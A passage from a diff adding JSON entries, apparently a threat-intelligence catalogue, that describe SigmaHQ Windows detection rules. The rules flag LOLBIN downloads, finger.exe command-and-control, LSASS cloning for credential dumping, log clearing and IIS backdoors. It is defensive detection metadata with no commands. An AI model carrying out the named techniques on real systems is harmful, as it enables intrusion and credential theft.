"https://eqllib.readthedocs.io/en/latest/analytics/5b223758-07d6-4100-9e11-238cfdd0fe97.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_eventlog_clear.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1070.001", + "car.2016-04-002" + ], + "creation_date": "2019/09/26", + "filename": "proc_creation_win_susp_eventlog_clear.yml", + "author": "Ecco, Daniil Yugoslavskiy, oscd.community", + "level": "high", + "falsepositive": [ + "Admin activity", + "Scripts and administrative tools used in the monitored environment" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects a suspicious execution from an uncommon folder", + "uuid": "3dfd06d2-eaf4-4532-9555-68aca59f57c4", + "value": "Execution from Suspicious Folder", + "meta": { + "refs": [ + "https://github.com/mbevilacqua/appcompatprocessor/blob/6c847937c5a836e2ce2fe2b915f213c345a3c389/AppCompatSearch.txt", + "https://www.secureworks.com/research/bronze-butler-targets-japanese-businesses", + "https://www.crowdstrike.com/resources/reports/2019-crowdstrike-global-threat-report/", + "https://github.com/ThreatHuntingProject/ThreatHunting/blob/cb22598bb70651f88e0285abc8d835757d2cb596/hunts/suspicious_process_creation_via_windows_event_logs.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_execution_path.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1036" + ], + "creation_date": "2019/01/16", + "filename": "proc_creation_win_susp_execution_path.yml", + "author": "Florian Roth, Tim Shelton", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects a suspicious program execution in a web service root folder (filter out false positives)", + "uuid": "35efb964-e6a5-47ad-bbcd-19661854018d", + "value": "Execution in Webserver Root Folder", + "meta": { + "refs": [ + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_execution_path_webserver.yml" + ], + "tags": [ + "attack.persistence", + "attack.t1505.003" + ], + "creation_date": "2019/01/16", + "filename": "proc_creation_win_susp_execution_path_webserver.yml", + "author": "Florian Roth", + "level": "medium", + "falsepositive": [ + "Various applications", + "Tools that include ping or nslookup command invocations" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Attackers can use explorer.exe for evading defense mechanisms", + "uuid": "9eb271b9-24ae-4cd4-9465-19cfc1047f3e", + "value": "Proxy Execution Via Explorer.exe", + "meta": { + "refs": [ + "https://twitter.com/CyberRaiju/status/1273597319322058752", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_explorer.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1218" + ], + "creation_date": "2020/10/05", + "filename": "proc_creation_win_susp_explorer.yml", + "author": "Furkan CALISKAN, @caliskanfurkan_, @oscd_initiative", + "level": "low", + "falsepositive": [ + "Legitimate explorer.exe run from cmd.exe" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects a command line process that uses explorer.exe to launch arbitrary commands or binaries,\nwhich is similar to cmd.exe /c, only it breaks the process tree and makes its parent a new instance of explorer spawning from \"svchost\"\n", + "uuid": "949f1ffb-6e85-4f00-ae1e-c3c5b190d605", + "value": "Explorer Process Tree Break", + "meta": { + "refs": [ + "https://twitter.com/CyberRaiju/status/1273597319322058752", + "https://twitter.com/bohops/status/1276357235954909188?s=12", + "https://twitter.com/nas_bench/status/1535322450858233858", + "https://securityboulevard.com/2019/09/deobfuscating-ostap-trickbots-34000-line-javascript-downloader/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_explorer_break_proctree.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1036" + ], + "creation_date": "2019/06/29", + "filename": "proc_creation_win_susp_explorer_break_proctree.yml", + "author": "Florian Roth, Nasreddine Bencherchali, @gott_cyber", + "level": "medium", + "falsepositive": [ + "Unknown how many legitimate software products use that method" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects suspicious starts of explorer.exe that use the /NOUACCHECK flag that allows to run all sub processes of that newly started explorer.exe without any UAC checks", + "uuid": "534f2ef7-e8a2-4433-816d-c91bccde289b", + "value": "Explorer NOUACCHECK Flag", + "meta": { + "refs": [ + "https://twitter.com/ORCA6665/status/1496478087244095491", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_explorer_nouaccheck.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1548.002" + ], + "creation_date": "2022/02/23", + "filename": "proc_creation_win_susp_explorer_nouaccheck.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Domain Controller User Logon", + "Unknown how many legitimate software products use that method" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects Executables in the Downloads folder without FileVersion,Description,Product,Company likely created with py2exe", + "uuid": "9637e8a5-7131-4f7f-bdc7-2b05d8670c43", + "value": "Suspicious File Characteristics Due to Missing Fields", + "meta": { + "refs": [ + "https://securelist.com/muddywater/88059/", + "https://www.virustotal.com/#/file/276a765a10f98cda1a38d3a31e7483585ca3722ecad19d784441293acf1b7beb/detection", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_file_characteristics.yml" + ], + "tags": [ + "attack.execution", + "attack.t1059.006" + ], + "creation_date": "2018/11/22", + "filename": "proc_creation_win_susp_file_characteristics.yml", + "author": "Markus Neis, Sander Wiebing", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects when GfxDownloadWrapper.exe downloads file from non standard URL", + "uuid": "eee00933-a761-4cd0-be70-c42fe91731e7", + "value": "GfxDownloadWrapper.exe Downloads File from Suspicious URL", + "meta": { + "refs": [ + "https://lolbas-project.github.io/lolbas/Binaries/GfxDownloadWrapper/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_file_download_via_gfxdownloadwrapper.yml" + ], + "tags": [ + "attack.command_and_control", + "attack.t1105" + ], + "creation_date": "2020/10/09", + "filename": "proc_creation_win_susp_file_download_via_gfxdownloadwrapper.yml", + "author": "Victor Sergeev, oscd.community", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Discovery of an installed Sysinternals Sysmon service using driver altitude (even if the name is changed).", + "uuid": "37db85d1-b089-490a-a59a-c7b6f984f480", + "value": "Suspicious Findstr 385201 Execution", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1518.001/T1518.001.md#atomic-test-5---security-software-discovery---sysmon-service", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_findstr_385201.yml" + ], + "tags": [ + "attack.discovery", + "attack.t1518.001" + ], + "creation_date": "2021/12/16", + "filename": "proc_creation_win_susp_findstr_385201.yml", + "author": "frack113", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects usage of findstr to identify and execute a lnk file as seen within the HHS redirect attack", + "uuid": "33339be3-148b-4e16-af56-ad16ec6c7e7b", + "value": "Findstr Launching .lnk File", + "meta": { + "refs": [ + "https://www.bleepingcomputer.com/news/security/hhsgov-open-redirect-used-by-coronavirus-phishing-to-spread-malware/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_findstr_lnk.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1036", + "attack.t1202", + "attack.t1027.003" + ], + "creation_date": "2020/05/01", + "filename": "proc_creation_win_susp_findstr_lnk.yml", + "author": "Trent Liffick", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects suspicious aged finger.exe tool execution often used in malware attacks nowadays", + "uuid": "af491bca-e752-4b44-9c86-df5680533dbc", + "value": "Finger.exe Suspicious Invocation", + "meta": { + "refs": [ + "https://twitter.com/bigmacjpg/status/1349727699863011328?s=12", + "https://app.any.run/tasks/40115012-a919-4208-bfed-41e82cb3dadf/", + "http://hyp3rlinx.altervista.org/advisories/Windows_TCPIP_Finger_Command_C2_Channel_and_Bypassing_Security_Software.txt", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_finger_usage.yml" + ], + "tags": [ + "attack.command_and_control", + "attack.t1105" + ], + "creation_date": "2021/02/24", + "filename": "proc_creation_win_susp_finger_usage.yml", + "author": "Florian Roth, omkar72, oscd.community", + "level": "high", + "falsepositive": [ + "Admin activity (unclear what they do nowadays with finger.exe)" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects the execution of format.com with a suspicious filesystem selection that could indicate a defense evasion activity in which format.com is used to load malicious DLL files or other programs", + "uuid": "9fb6b26e-7f9e-4517-a48b-8cac4a1b6c60", + "value": "Format.com FileSystem LOLBIN", + "meta": { + "refs": [ + "https://twitter.com/0gtweet/status/1477925112561209344", + "https://twitter.com/wdormann/status/1478011052130459653?s=20", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_format.yml" + ], + "tags": [ + "attack.defense_evasion" + ], + "creation_date": "2022/01/04", + "filename": "proc_creation_win_susp_format.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects suspicious parameters of fsutil (deleting USN journal, configuring it with small size, etc).\nMight be used by ransomwares during the attack (seen by NotPetya and others).\n", + "uuid": "add64136-62e5-48ea-807e-88638d02df1e", + "value": "Fsutil Suspicious Invocation", + "meta": { + "refs": [ + "https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/fsutil-usn", + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1070/T1070.md", + "https://eqllib.readthedocs.io/en/latest/analytics/c91f422a-5214-4b17-8664-c5fcf115c0a2.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_fsutil_usage.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1070" + ], + "creation_date": "2019/09/26", + "filename": "proc_creation_win_susp_fsutil_usage.yml", + "author": "Ecco, E.M. Anhaus, oscd.community", + "level": "high", + "falsepositive": [ + "Admin activity", + "Scripts and administrative tools used in the monitored environment" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects cases in which a user uses the built-in Windows utility gpresult to display the Resultant Set of Policy (RSoP) information", + "uuid": "e56d3073-83ff-4021-90fe-c658e0709e72", + "value": "Gpresult Display Group Policy Information", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1615/T1615.md", + "https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/gpresult", + "https://unit42.paloaltonetworks.com/emissary-trojan-changelog-did-operation-lotus-blossom-cause-it-to-evolve/", + "https://www.welivesecurity.com/wp-content/uploads/2020/05/ESET_Turla_ComRAT.pdf", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_gpresult.yml" + ], + "tags": [ + "attack.discovery", + "attack.t1615" + ], + "creation_date": "2022/05/01", + "filename": "proc_creation_win_susp_gpresult.yml", + "author": "frack113", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects creation of a scheduled task with a GUID like name", + "uuid": "ff2fff64-4cd6-4a2b-ba7d-e28a30bbe66b", + "value": "Suspicious Scheduled Task Name As GUID", + "meta": { + "refs": [ + "https://thedfirreport.com/2022/10/31/follina-exploit-leads-to-domain-compromise/", + "https://thedfirreport.com/2022/02/21/qbot-and-zerologon-lead-to-full-domain-compromise/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_guid_task_name.yml" + ], + "tags": [ + "attack.execution", + "attack.t1053.005" + ], + "creation_date": "2022/10/31", + "filename": "proc_creation_win_susp_guid_task_name.yml", + "author": "Nasreddine Bencherchali", + "level": "medium", + "falsepositive": [ + "Legitimate software naming their tasks as GUIDs" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects execution of the Notepad++ updater in a suspicious directory, which is often used in DLL side-loading attacks", + "uuid": "0a4f6091-223b-41f6-8743-f322ec84930b", + "value": "Suspicious GUP Usage", + "meta": { + "refs": [ + "https://www.fireeye.com/blog/threat-research/2018/09/apt10-targeting-japanese-corporations-using-updated-ttps.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_gup.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1574.002" + ], + "creation_date": "2019/02/06", + "filename": "proc_creation_win_susp_gup.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Execution of tools named GUP.exe and located in folders different than Notepad++\\updater" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects execution of the Notepad++ updater (gup) from a process other than Notepad++ to download files.", + "uuid": "44143844-0631-49ab-97a0-96387d6b2d7c", + "value": "Download Files Using Notepad++ GUP Utility", + "meta": { + "refs": [ + "https://twitter.com/nas_bench/status/1535322182863179776", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_gup_download.yml" + ], + "tags": [ + "attack.command_and_control", + "attack.t1105" + ], + "creation_date": "2022/06/10", + "filename": "proc_creation_win_susp_gup_download.yml", + "author": "Nasreddine Bencherchali", + "level": "high", + "falsepositive": [ + "Other parent processes other than notepad++ using GUP that are not currently identified" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects execution of the Notepad++ updater (gup) to launch other commands or executables", + "uuid": "d65aee4d-2292-4cea-b832-83accd6cfa43", + "value": "Execute Arbitrary Binaries Using GUP Utility", + "meta": { + "refs": [ + "https://twitter.com/nas_bench/status/1535322445439180803", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_gup_execution.yml" + ], + "tags": [ + "attack.execution" + ], + "creation_date": "2022/06/10", + "filename": "proc_creation_win_susp_gup_execution.yml", + "author": "Nasreddine Bencherchali", + "level": "medium", + "falsepositive": [ + "Other parent binaries using GUP not currently identified" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Use of hostname to get information", + "uuid": "7be5fb68-f9ef-476d-8b51-0256ebece19e", + "value": "Suspicious Execution of Hostname", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1082/T1082.md#atomic-test-6---hostname-discovery-windows", + "https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/hostname", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_hostname.yml" + ], + "tags": [ + "attack.discovery", + "attack.t1082" + ], + "creation_date": "2022/01/01", + "filename": "proc_creation_win_susp_hostname.yml", + "author": "frack113", + "level": "low", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects a suspicious IIS module registration as described in Microsoft threat report on IIS backdoors", + "uuid": "043c4b8b-3a54-4780-9682-081cb6b8185c", + "value": "Suspicious IIS Module Registration", + "meta": { + "refs": [ + "https://www.microsoft.com/security/blog/2022/07/26/malicious-iis-extensions-quietly-open-persistent-backdoors-into-servers/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_iis_module_registration.yml" + ], + "tags": "No established tags", + "creation_date": "2022/08/04", + "filename": "proc_creation_win_susp_iis_module_registration.yml", + "author": "Florian Roth (rule), Microsoft (idea)", + "level": "high", + "falsepositive": [ + "Administrative activity" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Checks whether the image specified in a process creation event is not a full, absolute path (caused by process ghosting or other unorthodox methods to start a process)", + "uuid": "71158e3f-df67-472b-930e-7d287acaa3e1", + "value": "Execution Of Non-Existing File", + "meta": { + "refs": [ + "https://pentestlaboratories.com/2021/12/08/process-ghosting/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_image_missing.yml" + ], + "tags": [ + "attack.defense_evasion" + ], + "creation_date": "2021/12/09", + "filename": "proc_creation_win_susp_image_missing.yml", + "author": "Max Altgelt", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Uses the .NET InstallUtil.exe application in order to execute image without log", + "uuid": "d042284c-a296-4988-9be5-f424fadcc28c", + "value": "Suspicious Execution of InstallUtil Without Log", + "meta": { + "refs": [ + "https://securelist.com/moonbounce-the-dark-side-of-uefi-firmware/105468/", + "https://docs.microsoft.com/en-us/dotnet/framework/tools/installutil-exe-installer-tool", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_instalutil.yml" + ], + "tags": [ + "attack.defense_evasion" + ], + "creation_date": "2022/01/23", + "filename": "proc_creation_win_susp_instalutil.yml", + "author": "frack113", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects a suspicious call to Invoke-WebRequest cmdlet where the and output is located in a suspicious location", + "uuid": "5e3cc4d8-3e68-43db-8656-eaaeefdec9cc", + "value": "Suspicious Invoke-WebRequest Usage", + "meta": { + "refs": [ + "https://www.sentinelone.com/blog/living-off-windows-defender-lockbit-ransomware-sideloads-cobalt-strike-through-microsoft-security-tool/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_invoke_webrequest_download.yml" + ], + "tags": [ + "attack.command_and_control", + "attack.t1105" + ], + "creation_date": "2022/08/02", + "filename": "proc_creation_win_susp_invoke_webrequest_download.yml", + "author": "Nasreddine Bencherchali", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects suspicious IIS native-code module installations via command line", + "uuid": "9465ddf4-f9e4-4ebd-8d98-702df3a93239", + "value": "IIS Native-Code Module Command Line Installation", + "meta": { + "refs": [ + "https://researchcenter.paloaltonetworks.com/2018/01/unit42-oilrig-uses-rgdoor-iis-backdoor-targets-middle-east/", + "https://www.microsoft.com/security/blog/2022/07/26/malicious-iis-extensions-quietly-open-persistent-backdoors-into-servers/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_iss_module_install.yml" + ], + "tags": [ + "attack.persistence", + "attack.t1505.003" + ], + "creation_date": "2019/12/11", + "filename": "proc_creation_win_susp_iss_module_install.yml", + "author": "Florian Roth", + "level": "medium", + "falsepositive": [ + "Unknown as it may vary from organisation to organisation how admins use to install IIS modules" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects the rare use of the command line tool shutdown to logoff a user", + "uuid": "ec290c06-9b6b-4338-8b6b-095c0f284f10", + "value": "Suspicious Execution of Shutdown to Log Out", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/9e5b12c4912c07562aec7500447b11fa3e17e254/atomics/T1529/T1529.md", + "https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/shutdown", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_logoff.yml" + ], + "tags": [ + "attack.impact", + "attack.t1529" + ], + "creation_date": "2022/10/01", + "filename": "proc_creation_win_susp_logoff.yml", + "author": "frack113", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects Wscript or Cscript executing from a drive other than C. This has been observed with Qakbot executing from within a mounted ISO file.", + "uuid": "5b80cf53-3a46-4adc-960b-05ec19348d74", + "value": "Wscript Execution from Non C Drive", + "meta": { + "refs": [ + "https://github.com/pr0xylife/Qakbot/blob/main/Qakbot_BB_30.09.2022.txt", + "https://app.any.run/tasks/4985c746-601e-401a-9ccf-ae350ac2e887/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_lolbin_non_c_drive.yml" + ], + "tags": [ + "attack.execution", + "attack.t1059" + ], + "creation_date": "2022/10/01", + "filename": "proc_creation_win_susp_lolbin_non_c_drive.yml", + "author": "Aaron Herman", + "level": "medium", + "falsepositive": [ + "Legitimate applications installed on other partitions such as \"D:\"" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects a suspicious LSASS process process clone that could be a sign of process dumping activity", + "uuid": "c8da0dfd-4ed0-4b68-962d-13c9c884384e", + "value": "Suspicious LSASS Process Clone", + "meta": { + "refs": [ + "https://www.matteomalvica.com/blog/2019/12/02/win-defender-atp-cred-bypass/", + "https://twitter.com/Hexacorn/status/1420053502554951689", + "https://twitter.com/SBousseaden/status/1464566846594691073?s=20", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_lsass_clone.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1003", + "attack.t1003.001" + ], + "creation_date": "2021/11/27", + "filename": "proc_creation_win_susp_lsass_clone.yml", + "author": "Florian Roth, Samir Bousseaden", + "level": "critical", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Use of reg to get MachineGuid information", + "uuid": "f5240972-3938-4e56-8e4b-e33893176c1f", + "value": "Suspicious Query of MachineGUID", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1082/T1082.md#atomic-test-8---windows-machineguid-discovery", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_machineguid.yml" + ], + "tags": [ + "attack.discovery", + "attack.t1082" + ], + "creation_date": "2022/01/01", + "filename": "proc_creation_win_susp_machineguid.yml", + "author": "frack113", + "level": "low", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects suspicious child processes of the Microsoft OneNote application. This may indicate an attempt to execute malicious embedded objects from a .one file.", + "uuid": "c27515df-97a9-4162-8a60-dc0eeb51b775", + "value": "Suspicious Microsoft OneNote Child Process", + "meta": { + "refs": [ + "https://github.com/elastic/protections-artifacts/commit/746086721fd385d9f5c6647cada1788db4aea95f#diff-e34e43eb5666427602ddf488b2bf3b545bd9aae81af3e6f6c7949f9652abdf18", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_microsoft_onenote_child_process.yml" + ], + "tags": [ + "attack.t1566", + "attack.t1566.001", + "attack.initial_access" + ], + "creation_date": "2022/10/21", + "filename": "proc_creation_win_susp_microsoft_onenote_child_process.yml", + "author": "Tim Rauch (rule), Elastic (idea)", + "level": "medium", + "falsepositive": [ + "File located in the AppData folder with trusted signature" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects Windows command lines that miss a space before or after the /c flag when running a command using the cmd.exe.\nThis could be a sign of obfuscation of a fat finger problem (typo by the developer).\n", + "uuid": "a16980c2-0c56-4de0-9a79-17971979efdd", + "value": "Missing Space Characters in Command Lines", + "meta": { + "refs": [ + "https://twitter.com/cyb3rops/status/1562072617552678912", + "https://ss64.com/nt/cmd.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_missing_spaces.yml" + ], + "tags": [ + "attack.execution", + "attack.t1059.001" + ], + "creation_date": "2022/08/23", + "filename": "proc_creation_win_susp_missing_spaces.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects execution of the \"mofcomp\" utility as a child of a suspicious shell or script running utility or by having a supsicious path in the commandline.\nThe \"mofcomp\" utility parses a file containing MOF statements and adds the classes and class instances defined in the file to the WMI repository.\nAttackers abuse this utility to install malicious MOF scripts\n", + "uuid": "1dd05363-104e-4b4a-b963-196a534b03a1", + "value": "Suspicious Mofcomp Execution", + "meta": { + "refs": [ + "https://thedfirreport.com/2022/07/11/select-xmrig-from-sqlserver/", + "https://github.com/The-DFIR-Report/Sigma-Rules/blob/75260568a7ffe61b2458ca05f6f25914efb44337/win_mofcomp_execution.yml", + "https://docs.microsoft.com/en-us/windows/win32/wmisdk/mofcomp", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_mofcomp_execution.yml" + ], + "tags": [ + "attack.execution", + "attack.t1218" + ], + "creation_date": "2022/07/12", + "filename": "proc_creation_win_susp_mofcomp_execution.yml", + "author": "Nasreddine Bencherchali", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects when when a mounted share is removed. Adversaries may remove share connections that are no longer useful in order to clean up traces of their operation", + "uuid": "cb7c4a03-2871-43c0-9bbb-18bbdb079896", + "value": "Mounted Share Deleted", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1070.005/T1070.005.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_mounted_share_deletion.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1070.005" + ], + "creation_date": "2020/10/08", + "filename": "proc_creation_win_susp_mounted_share_deletion.yml", + "author": "oscd.community, @redcanary, Zach Stanford @svch0st", + "level": "low", + "falsepositive": [ + "Administrators or Power users may remove their shares via cmd line" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects a certain command line flag combination used by mpiexec.exe LOLBIN from HPC pack that can be used to execute any other binary", + "uuid": "729ce0ea-5d8f-4769-9762-e35de441586d", + "value": "MpiExec Lolbin", + "meta": { + "refs": [ + "https://twitter.com/mrd0x/status/1465058133303246867", + "https://docs.microsoft.com/en-us/powershell/high-performance-computing/mpiexec?view=hpc19-ps", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_mpiexec_lolbin.yml" + ], + "tags": [ + "attack.execution", + "attack.defense_evasion", + "attack.t1218" + ], + "creation_date": "2022/01/11", + "filename": "proc_creation_win_susp_mpiexec_lolbin.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detection for mshta.exe suspicious execution patterns sometimes involving file polyglotism", + "uuid": "cc7abbd0-762b-41e3-8a26-57ad50d2eea3", + "value": "MSHTA Suspicious Execution 01", + "meta": { + "refs": [ + "http://blog.sevagas.com/?Hacking-around-HTA-files", + "https://0x00sec.org/t/clientside-exploitation-in-2018-how-pentesting-has-changed/7356", + "https://docs.microsoft.com/en-us/dotnet/standard/data/xml/xslt-stylesheet-scripting-using-msxsl-script", + "https://medium.com/tsscyber/pentesting-and-hta-bypassing-powershell-constrained-language-mode-53a42856c997", + "https://twitter.com/mattifestation/status/1326228491302563846", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_mshta_execution.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1140", + "attack.t1218.005", + "attack.execution", + "attack.t1059.007", + "cve.2020.1599" + ], + "creation_date": "2019/02/22", + "filename": "proc_creation_win_susp_mshta_execution.yml", + "author": "Diego Perez (@darkquassar), Markus Neis, Swisscom (Improve Rule)", + "level": "high", + "falsepositive": [ + "False positives depend on scripts and administrative tools used in the monitored environment" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects suspicious mshta process patterns", + "uuid": "e32f92d1-523e-49c3-9374-bdb13b46a3ba", + "value": "Suspicious MSHTA Process Patterns", + "meta": { + "refs": [ + "https://en.wikipedia.org/wiki/HTML_Application", + "https://www.echotrail.io/insights/search/mshta.exe", + "https://app.any.run/tasks/34221348-072d-4b70-93f3-aa71f6ebecad/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_mshta_pattern.yml" + ], + "tags": [ + "attack.execution", + "attack.t1106" + ], + "creation_date": "2021/07/17", + "filename": "proc_creation_win_susp_mshta_pattern.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects suspicious command line using the \"mshtml.dll\" RunHTMLApplication export to run arbitrary code via different protocol handlers (vbscript, javascript, file, htpp...)", + "uuid": "4782eb5a-a513-4523-a0ac-f3082b26ac5c", + "value": "Mshtml DLL RunHTMLApplication Abuse", + "meta": { + "refs": [ + "https://twitter.com/n1nj4sec/status/1421190238081277959", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_mshtml_runhtmlapplication.yml" + ], + "tags": [ + "attack.defense_evasion" + ], + "creation_date": "2022/08/14", + "filename": "proc_creation_win_susp_mshtml_runhtmlapplication.yml", + "author": "Nasreddine Bencherchali", + "level": "high", + "falsepositive": [ + "Unlikely" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, 